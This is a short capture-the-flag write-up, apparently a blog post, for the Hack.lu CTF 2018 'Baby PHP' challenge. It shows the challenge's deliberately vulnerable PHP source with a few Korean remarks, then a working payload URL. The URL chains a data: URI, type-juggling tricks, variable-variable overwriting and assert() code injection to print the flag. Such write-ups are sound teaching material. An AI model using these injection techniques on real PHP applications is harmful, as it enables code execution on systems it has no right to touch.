Hack.lu CTF 2018 – Baby PHP

Hack.lu CTF 2018 – Baby PHP

<?php
require_once('flag.php');
error_reporting(0);

if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

if(strlen($k2) == $bb){
    if(preg_match('/^\d+＄/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
    die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;  

Hack.lu CTF에 나온 PHP 문제다.
좀 문제가 더럽다.
하지만 나는 이런 문제가 좋다.

Payload

https://arcade.fluxfingers.net:1819/?msg=data:text/plain,Hello%20Challenge!&key1=+1337&key2=1337%EF%BC%8413371337133713371337133713371337133&cc[]&k1=2&bb=var_dump($flag);//